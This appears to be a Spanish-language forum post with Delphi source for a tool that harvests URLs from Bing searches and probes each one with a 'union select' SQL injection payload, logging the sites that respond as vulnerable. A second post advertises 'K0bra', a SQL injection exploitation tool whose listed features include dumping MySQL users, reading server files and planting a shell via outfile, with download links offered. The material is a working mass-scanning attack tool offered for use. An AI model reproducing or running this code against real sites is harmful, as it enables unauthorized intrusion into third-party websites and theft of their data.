    procedure sButton4Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sListBox1DblClick(Sender: TObject);
    procedure sListBox2DblClick(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  AssignFile(ar, filename);
  FileMode := fmOpenWrite;

  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);

  Writeln(ar, texto);
  CloseFile(ar);

end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'falloutstyle';
  sSkinManager1.Active := True;

  dir := ExtractFilePath(Application.ExeName) + '/logs';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  code: string;
  link1: string;
  linkfinal: string;
  z: integer;
  i: integer;
  ii: integer;
  chau: TStringList;
  target: string;

begin

  sListBox1.Items.Clear;

  target := StringReplace(sEdit1.text, ' ', '+', []);

  sStatusBar1.Panels[0].text := '[+] Loading ...';
  Form1.sStatusBar1.Update;

  for i := 1 to StrToInt(sEdit2.text) do
  begin
    ii := i * 10;
    sListBox1.Update;
    sStatusBar1.Panels[0].text := '[+] Searching in page : ' + IntToStr(ii);
    Form1.sStatusBar1.Update;

    code := IdHTTP1.Get('http://www.bing.com/search?q=' + target + '&first=' +
        IntToStr(ii));

    PerlRegEx1.Regex := '<h3><a href="(.*?)"';
    PerlRegEx1.Subject := code;

    while PerlRegEx1.MatchAgain do
    begin
      for z := 1 to PerlRegEx1.SubExpressionCount do
        link1 := PerlRegEx1.SubExpressions[z];

      PerlRegEx2.Regex := '(.*?)=(.*?)';
      PerlRegEx2.Subject := link1;

      if PerlRegEx2.Match then
      begin
        linkfinal := PerlRegEx2.SubExpressions[1] + '=';
        sListBox1.Items.Add(linkfinal);
      end;
    end;
  end;

  chau := TStringList.Create;

  chau.Duplicates := dupIgnore;
  chau.Sorted := True;
  chau.Assign(sListBox1.Items);
  sListBox1.Items.Clear;
  sListBox1.Items.Assign(chau);

  for i := sListBox1.Items.Count - 1 downto 0 do
  begin
    savefile('bing-search.txt', sListBox1.Items[i]);
  end;

  sStatusBar1.Panels[0].text := '[+] Done';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.sButton2Click(Sender: TObject);
var
  i: integer;
  code: string;

begin

  sListBox2.Items.Clear;

  sStatusBar1.Panels[0].text := '[+] Loading ...';
  Form1.sStatusBar1.Update;

  for i := sListBox1.Items.Count - 1 downto 0 do
  begin
    try
      begin

        sStatusBar1.Panels[0].text := '[+] Scanning : ' + sListBox1.Items[i];
        Form1.sStatusBar1.Update;
        sListBox2.Update;
        code := IdHTTP1.Get(sListBox1.Items[i] + '-1+union+select+1--');

        PerlRegEx1.Regex :=
          'The used SELECT statements have a different number of columns';
        PerlRegEx1.Subject := code;

        if PerlRegEx1.Match then
        begin
          sListBox2.Items.Add(sListBox1.Items[i]);
          savefile('sqli-founds.txt', sListBox1.Items[i]);
        end;

      end;
    except
      on E: EIdHttpProtocolException do
        ;
      on E: Exception do
        ;
    end;

    sStatusBar1.Panels[0].text := '[+] Done';
    Form1.sStatusBar1.Update;

  end;

end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.sListBox1DblClick(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'bing-search.txt', nil, nil, SW_SHOWNORMAL);
end;

procedure TForm1.sListBox2DblClick(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'sqli-founds.txt', nil, nil, SW_SHOWNORMAL);
end;

end.

// The End ?


Si quieren bajar el programa pueden hacerlo de aca.
#180
Programación General / [Delphi] K0bra 1.0
26 Mayo 2013, 02:15 AM
Traduccion a Delphi de este programa para scannear paginas vulnerables a SQLI.

Con las siguiente opciones :

  • Comprobar vulnerabilidad
  • Buscar numero de columnas
  • Buscar automaticamente el numero para mostrar datos
  • Mostras tablas
  • Mostrar columnas
  • Mostrar bases de datos
  • Mostrar tablas de otra DB
  • Mostrar columnas de una tabla de otra DB
  • Mostrar usuarios de mysql.user
  • Buscar archivos usando load_file
  • Mostrar un archivo usando load_file
  • Mostrar valores
  • Mostrar informacion sobre la DB
  • Crear una shell usando outfile
  • Todo se guarda en logs ordenados

    Unas imagenes :











    Si quieren bajar el programa lo pueden hacer de aca.